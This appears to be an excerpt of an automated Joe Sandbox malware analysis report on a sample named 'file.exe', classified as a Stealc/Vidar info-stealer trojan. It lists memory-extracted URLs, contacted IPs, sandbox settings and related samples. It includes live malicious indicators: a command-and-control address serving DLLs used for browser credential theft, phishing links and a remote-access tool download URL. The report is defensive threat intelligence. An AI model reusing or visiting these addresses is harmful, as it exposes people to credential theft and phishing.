http://anglebug.com/3078	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/7553	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5375	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/nss3.dll(	file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5371	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/4722	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7556	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chromewebstore.google.com/	msedge.exe, 00000007.00000002.2467961538.00006C980237C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	false	URL Reputation: safe	unknown
https://drive-preprod.corp.google.com/	chrome.exe, 00000003.00000003.2260630381.00004604004C4000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	false	URL Reputation: safe	unknown
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll4	file.exe, 00000000.00000002.2636219235.0000000001354000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000003.00000003.2291785563.000046040153C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000007.00000003.2380297747.00006C9802470000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2379915384.00006C9802464000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380104285.00006C980246C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6692	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/258207403	msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3502	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3623	msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com	1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	false		unknown
http://anglebug.com/3625	msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://outlook.live.com/mail/0/	1480aa01-b68e-4e9f-b5a8-dd7f9f310329.tmp.8.dr	false		unknown
http://anglebug.com/3624	msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5007	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3862	chrome.exe, 00000003.00000003.2264511096.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265318975.0000460400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2265363349.0000460400AAC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2380327017.00006C980257C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2634590960.000000000059C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2660696854.000000006D421000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2184656532.000000000501B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr, 000003.log4.8.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
23.198.7.184	unknown	United States	20940	AKAMAI-ASN1EU	false
216.58.206.78	plus.l.google.com	United States	15169	GOOGLEUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
23.55.178.210	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
23.198.7.180	unknown	United States	20940	AKAMAI-ASN1EU	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.238	play.google.com	United States	15169	GOOGLEUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
18.245.113.41	unknown	United States	16509	AMAZON-02US	false
142.250.74.193	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.221.22.209	unknown	United States	20940	AKAMAI-ASN1EU	false
52.182.143.208	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.218.232.154	unknown	United States	24835	RAYA-ASEG	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.244.18.32	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
23.198.7.176	unknown	United States	20940	AKAMAI-ASN1EU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545086
Start date and time:	2024-10-30 04:33:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@67/294@26/25
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.131, 142.251.173.84, 142.250.184.206, 34.104.35.123, 142.250.185.227, 142.250.186.42, 142.250.185.202, 216.58.212.138, 172.217.16.138, 142.250.185.138, 216.58.206.42, 172.217.23.106, 172.217.18.106, 142.250.185.234, 142.250.186.74, 142.250.186.138, 142.250.185.74, 142.250.181.234, 216.58.212.170, 142.250.185.106, 142.250.185.170, 142.250.74.202, 142.250.186.170, 216.58.206.74, 172.217.18.10, 142.250.186.106, 172.217.16.202, 142.250.184.202, 142.250.184.234, 192.229.221.95, 199.232.214.172, 13.107.42.16, 204.79.197.203, 204.79.197.239, 13.107.21.239, 142.250.185.238, 13.107.6.158, 2.19.126.152, 2.19.126.145, 20.56.187.20, 2.18.64.203, 2.18.64.205, 2.23.209.133, 2.23.209.187, 2.23.209.182, 2.23.209.130, 2.23.209.140, 2.23.209.149, 204.79.197.237, 13.107.21.237, 13.74.129.1, 2.23.209.52, 2.23.209.20, 2.23.209.3, 2.23.209.48, 2.23.209.59, 2.23.209.7, 2.23.209.13, 2.23.209.51, 2.23.209.45, 2.23.209.179, 4.209.164.61, 142.250.138.94, 142.250.113.94
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, dns.msftncsi.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, config.edge.skype.com, optimizationguide-pa.googleapis.com, edge-microsoft-com.dual-a-0
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
23:34:38	API Interceptor	62x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
20.125.209.212	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
23.198.7.184	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	http://track.senderbulk.com/9145172/c?p=t_1VEj-jtdCupKDOh1UJ15hIRR1JywmpwhIYXugQ8652sS-HwhrykvIupJ1sV0083zN2qzdnhsEwJGDUDZ1OyR83lYJTkJdb1ldVrXBgZet3hXPVMDZaSfsMTO9r_7_gsxsZuAYF3HDczbqi9bL16p9EqvSQURoSr8h9p02Jz24yKdADk5HJYxFc56zk03c1	Get hash	malicious	Unknown	Browse
	https://neon.ly/c2df7a96-7e7b-434f-8fbd-e7d0667e7df5#cl/4534_md/1110/5173/689/14/544786	Get hash	malicious	Phisher	Browse
152.195.19.97	http://ustteam.com/	Get hash	malicious	Unknown	Browse	www.ust.com/
23.198.7.180	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	http://google.com	Get hash	malicious	Unknown	Browse
	https://fvytvgh.blob.core.windows.net/vhgvhcg/6398.html	Get hash	malicious	Phisher	Browse
	https://neon.ly/f132f836-82cf-441d-83cc-ac2dde9fb1d7	Get hash	malicious	Unknown	Browse
	https://fedex27.blob.core.windows.net/fedex27/1.html#cl/16732_md/71/14931/3458/19024/294550	Get hash	malicious	Phisher	Browse
	Resume_C.D.Murali.doc	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sb.scorecardresearch.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.38
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.244.18.32
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	http://assets.website-files.com/65f02117700897a29c49fb10/65f7c129cb837c2310c7044e_tisamijujute.pdf	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	https://drive.google.com/file/d/17u2rFuD1QXpsDx5iT2qtwqYKrUIXQ7Kt/view?usp=sharing	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://drive.google.com/file/d/17u2rFuD1QXpsDx5iT2qtwqYKrUIXQ7Kt/view?usp=sharing	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NTT-COMMUNICATIONS-2914US	jew.sh4.elf	Get hash	malicious	Mirai	Browse	207.21.191.34
	jew.mips.elf	Get hash	malicious	Mirai	Browse	161.58.240.112
	jew.ppc.elf	Get hash	malicious	Mirai	Browse	206.14.215.188
	jew.spc.elf	Get hash	malicious	Mirai	Browse	205.54.133.54
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	129.250.208.247
	arm5.elf	Get hash	malicious	Unknown	Browse	205.47.216.175
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	205.18.159.190
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	204.170.201.235
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	205.36.29.201
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	205.146.239.199
AKAMAI-ASN1EU	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.220.67
	belks.arm.elf	Get hash	malicious	Mirai	Browse	95.100.100.158
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.222.241.140
	http://199.59.243.227	Get hash	malicious	HTMLPhisher	Browse	23.46.150.74
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.222.241.148
	jew.sh4.elf	Get hash	malicious	Mirai	Browse	172.232.16.218
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.173
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.180
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.194.88
	Jo Smalley shared _Harbour Healthcare Ltd Project_ with you..eml	Get hash	malicious	HTMLPhisher	Browse	2.16.238.24
EDGECASTUS	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.195.19.97
	https://mailhotcmhakamloops.wordpress.com/	Get hash	malicious	Unknown	Browse	152.199.21.175
	https://bioaquatictesting-my.sharepoint.com/:f:/g/personal/securedocument_bio-aquatic_com/EqfT1pjHkSVIsZ_uZ-FoAy4BgWwRj-5I-q_oaUpvi5Mxeg?e=eaqeTT	Get hash	malicious	Unknown	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.195.19.97
	-Payout Salary Benefits.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	152.199.21.175
	scan1738761_rsalinas@wcctxlaw.com.pdf	Get hash	malicious	HTMLPhisher	Browse	93.184.221.240
	https://forms.office.com/Pages/ShareFormPage.aspx?id=w0PqEzPG80GlVpQ2KYlCgotli86l81ZCgGQV0R07kYhUMDlNVzY4TDhNS0pGV0pGVENBVVNGTURFTi4u&sharetoken=3AKcsZjmxuGhgr7rDwU0	Get hash	malicious	Unknown	Browse	152.199.21.175
	jew.mpsl.elf	Get hash	malicious	Mirai	Browse	152.199.90.23
	Jmaman_##Salary##_Benefit_for_JmamanID#IyNURVhUTlVNUkFORE9NMTAjIw==.html	Get hash	malicious	HTMLPhisher	Browse	152.199.21.175
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	152.195.19.97
AKAMAI-ASN1EU	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.220.67
	belks.arm.elf	Get hash	malicious	Mirai	Browse	95.100.100.158
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.222.241.140
	http://199.59.243.227	Get hash	malicious	HTMLPhisher	Browse	23.46.150.74
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.222.241.148
	jew.sh4.elf	Get hash	malicious	Mirai	Browse	172.232.16.218
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.221.22.173
	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse	23.198.7.180
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	23.47.194.88
	Jo Smalley shared _Harbour Healthcare Ltd Project_ with you..eml	Get hash	malicious	HTMLPhisher	Browse	2.16.238.24

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://eot.lps-china.com/f/a/pQ-JA2nitAQtMB92xwUcGg~~/AAAHUQA~/RgRpAabzP4QTAWh0dHBzOi8vYmVyZW5pY2UuZW9tYWlsOC5jb20vdW5zdWJzY3JpYmU_ZXA9MiZsPTVlNmE0MDU2LWVhZTMtMTFlZS1hNzNjLWM1NDU2ZDI0OGQ3OCZsYz0zMmVlMmQ3Yy0zMjA4LTExZWYtYTFiZS1lYjMwYzAwY2FlZDgmcD05NDM1NjNkYy05Mzc2LTExZWYtYTdkMi00NTk0MDQ5OWMzNTYmcHQ9Y2FtcGFpZ24mcHY9NCZzcGE9MTczMDA5MzQ0NCZ0PTE3MzAwOTM1NTUmcz1mNWE2NDYwZWE1NTFlYzYxZDFiNjJhZTBhNTI2NGFhNjdmYWMxN2I1MzRkNWI4MzdhNTA0MDAwM2ZhNmZmMGUwVwVzcGNldUIKZw7zIR9n2KUgilIeZ2VtbWEubG9yZW56b0BkdWJhaWhvbGRpbmcuY29tWAQAAAL5	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://www.google.im/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp/s/creditodigitalelmo.com.br/solo/i2975ufuy18zkhauvhibzzxy/YWRzQGJldHdlZW4udXM=	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	kj5la5X8gv.exe	Get hash	malicious	Stealc	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://alcatrazpackages.com/elchapo.html	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	completedfiles.....pdf	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://docs.google.com/uc?export=download&id=1gucHUhrnC0jRDGAhRfRkCK8rYqf0o3cv	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://docs.google.com/uc?export=download&id=1gucHUhrnC0jRDGAhRfRkCK8rYqf0o3cv	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://docs.google.com/uc?export=download&id=1rG5XITnDsiVQCEMAfg1Ex3pDcYxrlv0N	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://email.email.pandadoc.net/c/eJxMkE9vEzEQxT_N-pbKO_ba3oMPhWipiEBAoYdeqrE92zVJbGfthD-fHkWi0OOM9Hv6vResU8LNhoXsz0dK7SkG-2Z5fwRKPgf39rRsv4op3T4ujGyvBQcQIxi2WBVmDUaIIJAgaJrROA0G-iB6wRWyaIGD7DmMvZYDqJtej653A7hxHASXppOcjhgPNwVTwJD9TaLGYn1qK3pCdyDb1jOxg11aK7UTtx1MHUxYyn_E52MH04t-B9MFOjG1vKfUia3X2M_Kjc7LORAnLZT03Ds1eE-GBjOKAXojOzGxlFuco8cWc7rOMAQynlBsvBtgI0GJDY6Ob0hzI7AHR0GxvD5jir__QXSR97_ybpvLA1U6_hxPwWtiq625LJE6yfex4rnlgmurV3u20iXWv7hvCj6bWb97PBX_PTp1rg_yE2v2peCm4fpM7fWnUnp9s4sF9iOv-1rQ0zXU7Bzsvn3A0PT9nfmCQ_ioy92fAAAA__-PeqWA	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
3b5074b1b5d032e5620f69f9f700ff0e	Ndnownts.exe	Get hash	malicious	Snake Keylogger	Browse	40.115.3.253 40.113.103.199
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	40.115.3.253 40.113.103.199
	https://docs.google.com/uc?export=download&id=1rG5XITnDsiVQCEMAfg1Ex3pDcYxrlv0N	Get hash	malicious	Unknown	Browse	40.115.3.253 40.113.103.199
	file.exe	Get hash	malicious	LummaC	Browse	40.115.3.253 40.113.103.199
	EVER ABILITY V66 PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	40.115.3.253 40.113.103.199
	MV. NORDRHONE VSL's PARTICULARS.xlsx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	40.115.3.253 40.113.103.199
	MUM - VESSEL'S PARTICULARS.pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	40.115.3.253 40.113.103.199
	https://cp9856.chelokipotlester.icu/Bin/support.Client.exe?h=cp3back96.site&p=8041&k=BgIAAACkAABSU0ExAAgAAAEAAQB9zMUOcnsRaC12buOM5jB%2F0aQdWfMpUKDaWi13yRXoM16W00nLl4p0ZtEhANoxvmcw0wWFEBncKj1h1Sizr06d2epn5Y1la%2FZuAUNQxVB6zV6MkV%2FQ3PQ8O4IKEUzM%2B1uTT6bVi8cjhVOM7wlYYJcudQAB6Dwlh4JaUc5YEBvhT8MaZnAIYPqnbmxNwUw1RDlaRh5YJbZGPTJPIJpusdEO4D%2FCUtP6CZ%2F6LBYCi1k6apr4NFJdoCsgYMmz0ueWApW6fnSWePa0E3G6vxJQsjXUZXU7nn2pC9y84o5L0uqvKTZ239UPNomZv8wnSyaubzULL%2B48fuhT%2FYi9ukTBmorR&s=5999b697-2fc8-47f6-a1dc-4d0d274c363e&i=Untitled%20Session&e=Support&y=Guest&r=	Get hash	malicious	ScreenConnect Tool	Browse	40.115.3.253 40.113.103.199
	FW Complete with Docusign Remittance Advice .pdf.eml	Get hash	malicious	Unknown	Browse	40.115.3.253 40.113.103.199
	https://gthr.uk/e8c3	Get hash	malicious	Unknown	Browse	40.115.3.253 40.113.103.199

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	Uviv7rEtnt.exe	Get hash	malicious	Stealc, Vidar	Browse
	pWz7aRypjY.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	sYYK13hD0c.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	NGy4YdKSwE.exe	Get hash	malicious	Stealc, Vidar	Browse
	NlpWS1Iq5Z.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
